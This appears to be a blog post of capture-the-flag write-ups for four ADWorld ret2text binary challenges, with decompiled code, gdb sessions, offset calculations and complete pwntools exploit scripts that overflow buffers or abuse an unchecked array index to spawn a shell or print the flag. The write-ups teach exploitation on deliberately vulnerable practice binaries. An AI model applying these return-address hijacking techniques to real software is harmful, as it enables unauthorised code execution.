ADWorld PWN Challenge Area Write-ups (ret2text)
TyeYeah Lv4

There are some easy ret2text challenges in challenge area.

warmup

Attachment: warmup
Description: None

Dont know what is this for, as it’s fairly easy.

Information

Check:

1
2
3
4
5
6
7
8
9
10
$ file warmup
warmup: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=7b7d75c51503566eb1203781298d9f0355a66bd3, stripped
$ checksec warmup
[*] '/mnt/c/Users/David/Desktop/warmup'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-80h]
char v5; // [rsp+40h] [rbp-40h]

write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}

sub_40060D:

1
2
3
4
int sub_40060D()
{
return system("cat flag.txt");
}

Analysis

The target is returning to sub_40060D(), here introduce a method using cyclic (installed along with pwntools).
First create a 200-byte-length string:

1
2
$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

Then input it in gdb and debug:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
$ gdb ./warmup -q
GEF for linux ready, type `gef` to start, `gef config` to configure
88 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from ./warmup...
(No debugging symbols found in ./warmup)
gef➤ b gets
Breakpoint 1 at 0x400500
...
gef➤ # input
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
...
Program received signal SIGSEGV, Segmentation fault.
0x00000000004006a4 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────── registers ────
$rax : 0x00007fffffffe1e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$rbx : 0x0
$rcx : 0x00007ffff7fbc980 → 0x00000000fbad2288
$rdx : 0x0
$rsp : 0x00007fffffffe228 → "saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfa[...]"
$rbp : 0x6161617261616171 ("qaaaraaa"?)
$rsi : 0x00000000006022a1 → "aaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaa[...]"
$rdi : 0x00007ffff7fbf4d0 → 0x0000000000000000
$rip : 0x00000000004006a4 → ret
$r8 : 0x00007fffffffe1e0 → "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$r9 : 0x0
$r10 : 0x410
$r11 : 0x246
$r12 : 0x0000000000400520 → xor ebp, ebp
$r13 : 0x00007fffffffe300 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────── stack ────
0x00007fffffffe228│+0x0000: "saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfa[...]"$rsp
0x00007fffffffe230│+0x0008: "uaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha[...]"
0x00007fffffffe238│+0x0010: "waaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabja[...]"
0x00007fffffffe240│+0x0018: "yaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaabla[...]"
0x00007fffffffe248│+0x0020: "baabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabna[...]"
0x00007fffffffe250│+0x0028: "daabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpa[...]"
0x00007fffffffe258│+0x0030: "faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabra[...]"
0x00007fffffffe260│+0x0038: "haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabta[...]"
──────────────────────── code:x86:64 ────
0x400699 mov eax, 0x0
0x40069e call 0x400500 <gets@plt>
0x4006a3 leave
→ 0x4006a4 ret
[!] Cannot disassemble from $PC
──────────────────────────── threads ────
[#0] Id 1, Name: "warmup", stopped 0x4006a4 in ?? (), reason: SIGSEGV
────────────────────────────── trace ────
[#0] 0x4006a4 → ret
─────────────────────────────────────────
gef➤

Remember to break at the last ret (belongs to main()), so the rsp now stores the future rip. rsp starts with saaa, then use cyclic to calculate the offset (rbp that starts with qaaa can also be used, but remember to add 8 bytes):

1
2
3
4
$ cyclic -l saaa  # rsp
72
$ cyclic -l qaaa # rbp
64

So the offset should be 64 + 8 = 72.

Exploit

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
sh = process('warmup')
sh = remote('220.249.52.133',57407)
shell_addr = 0x40060d
print sh.recv()
payload = 'a'*72 + p64(shell_addr)
payload = 'a'*64 + p64(0) + p64(shell_addr)
#payload = xxxxx + ebp + retaddr
sh.sendline(payload)
sh.interactive()

reactor switch

Attachment: reactor_switch
Description: Lil M discovered the interface of a nitrification reactor in a TNT production line in a private mine. She suspects that this factory might be engaged in the production of underground munitions, so Lil M intends to interfere with the operation of this TNT production line by closing the reactor, but the reactor has multiple gates, so she has to find a way to help her close all the gates.

Information

Check:

1
2
3
4
5
6
7
8
9
$ file reactor_switch
reactor_switch: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6145840505e7d75d0020a02b556136ce4c936ed9, not stripped
$ checksec reactor_switch
[*] '/root/reactor_switch'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+0h] [rbp-240h]
char v5; // [rsp+40h] [rbp-200h]

write(1, "Please closing the reaction kettle\n", 0x23uLL);
write(1, "The switch is:", 0xEuLL);
sprintf(&s, "%p\n", easy);
write(1, &s, 9uLL);
write(1, ">", 2uLL);
gets(&v5, ">");
return 0;
}

easy:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 easy()
{
char s; // [rsp+0h] [rbp-1C0h]
char v2; // [rsp+40h] [rbp-180h]

write(1, "You have closed the first switch\n", 0x21uLL);
write(1, "Please closing the second reaction kettle\n", 0x2AuLL);
write(1, "The switch is:", 0xEuLL);
sprintf(&s, "%p\n", normal);
write(1, &s, 9uLL);
write(1, ">", 2uLL);
return gets(&v2, ">");
}

normal:

1
2
3
4
5
6
7
8
9
10
11
12
13
__int64 normal()
{
char s; // [rsp+0h] [rbp-140h]
char v2; // [rsp+40h] [rbp-100h]

write(1, "You have closed the first switch\n", 0x22uLL);
write(1, "Please closing the third reaction kettle\n", 0x2AuLL);
write(1, "The switch is:", 0xEuLL);
sprintf(&s, "%p\n", shell);
write(1, &s, 9uLL);
write(1, ">", 2uLL);
return gets(&v2, ">");
}

shell:

1
2
3
4
int shell()
{
return system("/bin/sh");
}

Addresses:

1
2
3
4
easy	00000000004006B0	
main 0000000000400759
normal 0000000000400607
shell 00000000004005F6

Analysis

Well, according to the description, I thought it would be a series of tasks. As for the codes, It seems to let us overflow 3 times to get shell.
For one thing, the program wasn’t written carefully since it always prints You have closed the first switch in main(), easy() and normal() (should be 1st, 2nd and 3rd, right?); for another thing, as we just want to get shell, we can overflow just once (unexpect solution: overflow to return to shell()).

Offsets for three functions: 0x200 for main(); 0x180 for easy(); 0x100 for normal().

Exploit

From main() return to easy() to normal() to shell():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

sh = process("./reactor_switch")
sh = remote('220.249.52.133',42608)

main_offset = 0x200
easy_offset = 0x180
normal_offset = 0x100

easy_func_addr = 0x04006b0
normal_func_addr = 0x0400607
shell_func_addr = 0x04005F6
payload1 = 'a' * main_offset + p64(0) + p64(easy_func_addr)
payload2 = 'a' * easy_offset + p64(0) + p64(normal_func_addr)
payload3 = 'a' * normal_offset + p64(0) + p64(shell_func_addr)
print sh.recv() # ...>
sh.sendline(payload1)
print sh.recv() # ...>
sh.sendline(payload2)
print sh.recv() # ...>
sh.sendline(payload3)
sh.interactive()

Unexpect solution: From main() return to shell():

1
2
3
4
5
6
7
8
9
10
from pwn import *

sh = process("./reactor_switch")
sh = remote('220.249.52.133',42608)

shell_func_addr = 0x04005F6
payload = 'a' * 512 + p64(0) + p64(shell_func_addr)
print sh.recv() # ...>
sh.sendline(payload)
sh.interactive()

forgot

Attachment: forgot
Description: Fawkes has been playing around with Finite State Automaton lately. While exploring the concept of implementing regular expressions using FSA he thought of implementing an email-address validator.
Recently, Lua started to annoy Fawkes. To this, Fawkes, challenged Lua to a battle of wits. Fawkes promised to reward Lua, only if she manages to transition to a non-reachable state in the FSA he implemented. The replication can be accessed here.

Information

Check:

1
2
3
4
5
6
7
8
9
$ file forgot
forgot: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=35930a2d9b048236694e9611073b759e1c88b8c4, stripped
$ checksec forgot
[*] '/root/forgot'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
int __cdecl main()
{
size_t v0; // ebx
char v2[32]; // [esp+10h] [ebp-74h]
int (*v3)(); // [esp+30h] [ebp-54h]
int (*v4)(); // [esp+34h] [ebp-50h]
int (*v5)(); // [esp+38h] [ebp-4Ch]
int (*v6)(); // [esp+3Ch] [ebp-48h]
int (*v7)(); // [esp+40h] [ebp-44h]
int (*v8)(); // [esp+44h] [ebp-40h]
int (*v9)(); // [esp+48h] [ebp-3Ch]
int (*v10)(); // [esp+4Ch] [ebp-38h]
int (*v11)(); // [esp+50h] [ebp-34h]
int (*v12)(); // [esp+54h] [ebp-30h]
char s; // [esp+58h] [ebp-2Ch]
int v14; // [esp+78h] [ebp-Ch]
size_t i; // [esp+7Ch] [ebp-8h]

v14 = 1;
v3 = sub_8048604;
v4 = sub_8048618;
v5 = sub_804862C;
v6 = sub_8048640;
v7 = sub_8048654;
v8 = sub_8048668;
v9 = sub_804867C;
v10 = sub_8048690;
v11 = sub_80486A4;
v12 = sub_80486B8;
puts("What is your name?");
printf("> ");
fflush(stdout);
fgets(&s, 32, stdin);
sub_80485DD((int)&s);
fflush(stdout);
printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
fflush(stdout);
puts("Enter the string to be validate");
printf("> ");
fflush(stdout);
__isoc99_scanf("%s", v2);
for ( i = 0; ; ++i )
{
v0 = i;
if ( v0 >= strlen(v2) )
break;
switch ( v14 )
{
case 1:
if ( sub_8048702(v2[i]) )
v14 = 2;
break;
case 2:
if ( v2[i] == 64 )
v14 = 3;
break;
case 3:
if ( sub_804874C(v2[i]) )
v14 = 4;
break;
case 4:
if ( v2[i] == 46 )
v14 = 5;
break;
case 5:
if ( sub_8048784(v2[i]) )
v14 = 6;
break;
case 6:
if ( sub_8048784(v2[i]) )
v14 = 7;
break;
case 7:
if ( sub_8048784(v2[i]) )
v14 = 8;
break;
case 8:
if ( sub_8048784(v2[i]) )
v14 = 9;
break;
case 9:
v14 = 10;
break;
default:
continue;
}
}
(*(&v3 + --v14))();
return fflush(stdout);
}

sub_8048702 (similar to sub_804874C and sub_8048784):

1
2
3
4
_BOOL4 __cdecl sub_8048702(char a1)
{
return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
}

sub_80486CC:

1
2
3
4
5
6
7
int sub_80486CC()
{
char s; // [esp+1Eh] [ebp-3Ah]

snprintf(&s, 0x32u, "cat %s", "./flag");
return system(&s);
}

Other functions are all about outputting strings.

Analysis

The whole routine of this program is to validate your mail address: first input your name string, then input the mail address to validate.

Our name will be saved in s, and our mail address will be saved on v2, while the magic function sub_80486CC empower us to cat the flag.
Remember (*(&v3 + --v14))(); at the tail of main()? It executes what &v3 + --v14 points to, so v3 is clearly where we should overflow.

char v2[32]; // [esp+10h] [ebp-74h]
int (*v3)(); // [esp+30h] [ebp-54h]

Vulnerability appears at __isoc99_scanf("%s", v2);, and the offset is easy to confirm, right? No no no, what exactly &v3 + --v14 means?
The switch ... case statements is long but easy to understand, so if we dont let sub_8048702 and other conditions be true, v14 will always be 1, and &v3 + --v14 will always be &3.

How to get sub_8048702 false? After looking up the ASCII table, we can see all the uppercase letters are ok.

Eventually we get our exploit

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

context(os='linux', arch='i386')
sh = process('forgot')
sh = remote('220.249.52.133',43897)
shelf = ELF('forgot')

cat_flag_addr = 0x80486CC

print sh.recv() # What is your name?
sh.sendline('name')
print sh.recv() # Enter the string to be validate
sh.sendline('A'*0x20 + p32(cat_flag_addr))

sh.interactive()

Another payload is also ok:

1
payload = "a" * 32 + "a" * 4 +  p32(flag_addr)

A more concise payload is:

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(arch = 'i386', os = 'linux')
r = remote('220.249.52.133',43897)
overflow = "A"*63
addr = 0x080486cc
overflow += p32(addr)
r.send(overflow + "\n")
r.recvuntil("Enter the string to be validate")
flag = r.recv()
print "[*] Flag: " + flag
r.close()

Here is 63 because it inputs from name part, and it only receive 32 bytes but including 1 \x00, so still 32 left for v2 part.

stack2

Attachment: stack2
Description: None.

Just find out what is the flag.

Information

Check:

1
2
3
4
5
6
7
8
9
$ file stack2
stack2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d39da4953c662091eab7f33f7dc818f1d280cb12, not stripped
$ checksec stack2
[*] '/root/stack2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Pseudocode:
main:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]

v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}

hackhere:

1
2
3
4
int hackhere()
{
return system("/bin/bash");
}

Address:

1
2
3
4
5
6
7
# hackhere()
hackhere 0804859B
# system plt
.plt:08048450 jmp ds:off_804A018
.plt:08048450 _system endp
# 'sh' string included
.rodata:08048980 command db '/bin/bash',0 ; DATA XREF: hackhere+14↑o

Analysis

Still a ret2text(return to .text). Vulnerability exists in main(), belongs to change number subfunction:

1
2
3
4
5
6
7
8
  if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7; <--------vulnerable
}

The index of the array is totally controlled by our input, with no border check, which leads to writing anywhere (the value is controlled by us as well).

The final goal seems to be hackhere(), we can overwrite ret addr on the stack to execute that function, so the next step is to calculate the target offset/index of array v13.

Though we have can see pseudocodes produced by IDA pro indicates the distance from ebp to v13:

1
char v13[100]; // [esp+38h] [ebp-70h]

But it uses Canary protection mechanism, memory mapping is like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
  High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| local variables |
Low | |
Address

So v13 may be at ebp-0x70 but ret addr may not be at ebp-0x70+0x4 (due to the canary). The truth is: the exact offset can only be confirmed after dynamic debugging.
We have to find out which part of the stack is ret addr, and where is array v13 saved, then calculate the offset.

First we seek where v13 is. I choose to input a unique number, then locate it on the stack. Since it is little-endian, we input 4 numbers: 120(0x78), 86(0x56), 52(0x34) and 18(0x12). Next search 0x12345678 on the main() stack frame:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
$ gdb ./stack2 -q
GEF for linux ready, type `gef` to start, `gef config` to configure
88 commands loaded for GDB 9.2 using Python engine 3.8
Reading symbols from ./stack2...
(No debugging symbols found in ./stack2)
gef➤ b main
Breakpoint 1 at 0x80485de
gef➤ r
Starting program: /root/stack2

...

0x0804871e in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────── registers ────
$eax : 0x1
$ebx : 0x0
$ecx : 0x0
$edx : 0xffffd31c → 0x00000005
$esp : 0xffffd2f0 → 0x08048a97 → 0x47006425 ("%d"?)
$ebp : 0xffffd3a8 → 0x00000000
$esi : 0xf7fbf000 → 0x001dfd6c
$edi : 0xf7fbf000 → 0x001dfd6c
$eip : 0x0804871e → <main+334> add esp, 0x10
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
─────────────────── stack ────
0xffffd2f0│+0x0000: 0x08048a97 → 0x47006425 ("%d"?) ← $esp
0xffffd2f4│+0x0004: 0xffffd31c → 0x00000005
0xffffd2f8│+0x0008: 0x00000002
0xffffd2fc│+0x000c: 0x00000000
0xffffd300│+0x0010: 0x080482fa → "__libc_start_main"
0xffffd304│+0x0014: 0xf7fde875 → add esp, 0x30
0xffffd308│+0x0018: 0x08048238 → 0x00000062 ("b"?)
0xffffd30c│+0x001c: 0xffffd37c → 0xf7e1665e → add esp, 0x10
──────────────── code:x86:32 ────
0x8048713 <main+323> push eax
0x8048714 <main+324> push 0x8048a97
0x8048719 <main+329> call 0x8048480 <__isoc99_scanf@plt>
→ 0x804871e <main+334> add esp, 0x10
0x8048721 <main+337> mov eax, DWORD PTR [ebp-0x8c]
0x8048727 <main+343> cmp eax, 0x2
0x804872a <main+346> je 0x80487a1 <main+465>
0x804872c <main+348> cmp eax, 0x2
0x804872f <main+351> ja 0x804873b <main+363>
────────────────── threads ────
[#0] Id 1, Name: "stack2", stopped 0x804871e in main (), reason: SINGLE STEP
─────────────────── trace ────
[#0] 0x804871e → main()
─────────────────────────────
gef➤ x/100x 0xffffd2f0
0xffffd2f0: 0x08048a97 0xffffd31c 0x00000002 0x00000000
0xffffd300: 0x080482fa 0xf7fde875 0x08048238 0xffffd37c
0xffffd310: 0xf7ffdaa0 0x00000001 0x00000004 0x00000005
0xffffd320: 0x00000012 0x00000004 0x00000000 0x00000004
0xffffd330: 0x00000000 0x00000000 0x12345678 0xf7ffc800
0xffffd340: 0xffffd390 0x00000000 0xf7ffd000 0x00000000
0xffffd350: 0x00000000 0xffffd454 0xf7fbf000 0xf7fbda80
0xffffd360: 0x00000000 0xf7fbf000 0xf7ffc800 0xf7fc2c88
0xffffd370: 0xf7fbf000 0xf7fe4140 0x00000000 0xf7e1665e
0xffffd380: 0xf7fbf3fc 0x00080000 0x00000007 0x0804894b
0xffffd390: 0x00000001 0xffffd454 0xffffd45c 0xe4826000
0xffffd3a0: 0xf7fe4140 0xffffd3c0 0x00000000 0xf7dfdef1
0xffffd3b0: 0xf7fbf000 0xf7fbf000 0x00000000 0xf7dfdef1
0xffffd3c0: 0x00000001 0xffffd454 0xffffd45c 0xffffd3e4
0xffffd3d0: 0x00000001 0x00000000 0xf7fbf000 0x00000000
0xffffd3e0: 0xf7ffd000 0x00000000 0xf7fbf000 0xf7fbf000
0xffffd3f0: 0x00000000 0x13b16d8e 0x53ab8b9e 0x00000000
0xffffd400: 0x00000000 0x00000000 0x00000001 0x080484a0
0xffffd410: 0x00000000 0xf7fe92c0 0xf7fe4140 0xf7ffd000
0xffffd420: 0x00000001 0x080484a0 0x00000000 0x080484c1
0xffffd430: 0x080485d0 0x00000001 0xffffd454 0x08048900
0xffffd440: 0x08048960 0xf7fe4140 0xffffd44c 0x0000001c
0xffffd450: 0x00000001 0xffffd576 0x00000000 0xffffd583
0xffffd460: 0xffffd593 0xffffd5ae 0xffffd5de 0xffffd5f3
0xffffd470: 0xffffd5fd 0xffffd60a 0xffffd619 0xffffd622
gef➤

Copy them to a single file: stackmemory, and grep it:

1
2
$ cat stackmemory |grep 12345678
0xffffd330: 0x00000000 0x00000000 0x12345678 0xf7ffc800

So v13 starts at 0xffffd338.

Then we need to know where is the ret addr. Its value will be the eip register after this function’s ret, and its location will be the esp before ret.

Set a breakpoint before ret:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0x080488f2 in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
───────────────── registers ────
$eax : 0x0
$ebx : 0x0
$ecx : 0xffffd3c0 → 0x00000001
$edx : 0xffffd31c → 0x00000005
$esp : 0xffffd3bc → 0xf7dfdef1 → <__libc_start_main+241> add esp, 0x10
$ebp : 0x0
$esi : 0xf7fbf000 → 0x001dfd6c
$edi : 0xf7fbf000 → 0x001dfd6c
$eip : 0x080488f2 → <main+802> ret
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
───────────────────── stack ────
0xffffd3bc│+0x0000: 0xf7dfdef1 → <__libc_start_main+241> add esp, 0x10 ← $esp
0xffffd3c0│+0x0004: 0x00000001
0xffffd3c4│+0x0008: 0xffffd454 → 0xffffd576 → "/root/stack2"
0xffffd3c8│+0x000c: 0xffffd45c → 0xffffd583 → "SHELL=/bin/bash"
0xffffd3cc│+0x0010: 0xffffd3e4 → 0x00000000
0xffffd3d0│+0x0014: 0x00000001
0xffffd3d4│+0x0018: 0x00000000
0xffffd3d8│+0x001c: 0xf7fbf000 → 0x001dfd6c
─────────────── code:x86:32 ────
0x80488ea <main+794> dec DWORD PTR [ebx-0x723603b3]
0x80488f0 <main+800> popa
0x80488f1 <main+801> cld
→ 0x80488f2 <main+802> ret
↳ 0xf7dfdef1 <__libc_start_main+241> add esp, 0x10
0xf7dfdef4 <__libc_start_main+244> sub esp, 0xc
0xf7dfdef7 <__libc_start_main+247> push eax
0xf7dfdef8 <__libc_start_main+248> call 0xf7e163d0 <exit>
0xf7dfdefd <__libc_start_main+253> push esi
0xf7dfdefe <__libc_start_main+254> push esi
─────────────────── threads ────
[#0] Id 1, Name: "stack2", stopped 0x80488f2 in main (), reason: SINGLE STEP
───────────────────── trace ────
[#0] 0x80488f2 → main()
────────────────────────────────
gef➤

We can see esp = 0xffffd3bc. So ret addr is in 0xffffd3bc on the stack.

Offset/Index = 0xffffd3bc - 0xffffd338 = 0x84 = 132

Another method to calculate the offset is: get ebp after stepping into main(), then get esp before ret, the offset should be: offset/index = esp - v13 = esp - (ebp - 0x70).

Exploit

Origianl script was:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
#context.log_level = 'debug'

sh = process("./stack2")
sh = remote("220.249.52.133", 34138)

hackhere = '0x0804859B'

sh.recvuntil("How many numbers you have:\n")
sh.sendline("1")
sh.recvuntil("Give me your numbers\n")
sh.sendline("1")

def change(addr, num):
sh.recvuntil("5. exit\n")
sh.sendline("3")
sh.recvuntil("which number to change:\n")
sh.sendline(str(addr))
sh.recvuntil("new number:\n")
sh.sendline(str(num))

change(0x84, 0x9b)
change(0x85, 0x85)
change(0x86, 0x04)
change(0x87, 0x08)

sh.sendline("5")
sh.interactive()

While it went wrong:

1
2
3
4
5
6
7
8
9
10
11
12
$ python stack2.py
[+] Starting local process './stack2': pid 4024
[+] Opening connection to 220.249.52.133 on port 34138: Done
[*] Switching to interactive mode
1. show numbers
2. add number
3. change number
4. get average
5. exit
sh: 1: /bin/bash: not found
[*] Got EOF while reading in interactive
$

As sh: 1: /bin/bash: not found, we can only build another system call by using rop gadgets. We can build system('sh') using the last two chars of /bin/bash, so the final exploit goes like:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
#context.log_level = 'debug'

sh = process("./stack2")
sh = remote("220.249.52.133", 34138)
hackhere = '0x0804859B'
sh.recvuntil("How many numbers you have:\n")
sh.sendline("1")
sh.recvuntil("Give me your numbers\n")
sh.sendline("1")

def change(addr, num):
sh.recvuntil("5. exit\n")
sh.sendline("3")
sh.recvuntil("which number to change:\n")
sh.sendline(str(addr))
sh.recvuntil("new number:\n")
sh.sendline(str(num))

change(0x84, 0x50)
change(0x85, 0x84)
change(0x86, 0x04)
change(0x87, 0x08)
change(0x8c, 0x87)
change(0x8d, 0x89)
change(0x8e, 0x04)
change(0x8f, 0x08)
'''
change(0x84, 0x9b)
change(0x85, 0x85)
change(0x86, 0x04)
change(0x87, 0x08)
'''
sh.sendline("5")
sh.interactive()
Powered by Hexo & Theme Keep
Total words 135.7k